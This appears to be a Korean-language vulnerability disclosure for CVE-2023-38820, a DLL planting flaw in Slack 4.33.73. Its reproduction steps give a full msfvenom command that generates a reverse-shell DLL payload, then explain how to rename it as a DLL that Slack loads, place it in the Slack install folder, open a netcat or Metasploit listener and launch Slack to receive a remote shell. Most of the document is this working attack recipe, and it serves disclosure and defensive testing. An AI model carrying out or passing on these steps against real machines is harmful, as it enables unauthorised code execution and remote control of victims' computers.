DLL-Planting-Slack-4.33.73-CVE-2023-38820

Slack 4.33.73의 DLL Planting - CVE-2023-38820 발견자: Idan Malihi

설명

Slack Slack v.4.33.73의 문제로 인해 로컬 공격자가 profapi.dll, CRYPTBASE.dll, KBDUS.DLL, DPAPI.dll, MSASN1.dll, mf.dll, mfplat.dll 및 RTWorkQ.DLL 파일의 DLL 로딩 메커니즘을 통해 임의 코드를 실행할 수 있습니다.

재현 단계

취약점을 악용하려면 공격자는 Slack 프로그램을 다운로드하여 설치하고 다음 단계를 따라야 합니다:

1. msfvenom으로 악성 dll 파일 생성: msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o profapi.dll
2. 악성 dll 파일을 피해자의 컴퓨터로 전송합니다.
3. Slack 경로를 엽니다: "C:\Users\idan.m\AppData\Local\slack\app-4.33.73"
4. 예시로 악성 dll을 Slack 경로로 전송하고 "KBDUS.DLL"로 이름을 변경합니다.
5. netcat 또는 metasploit 리스너를 엽니다.
6. Slack.exe를 실행합니다.
7. 리버스 셸을 획득합니다.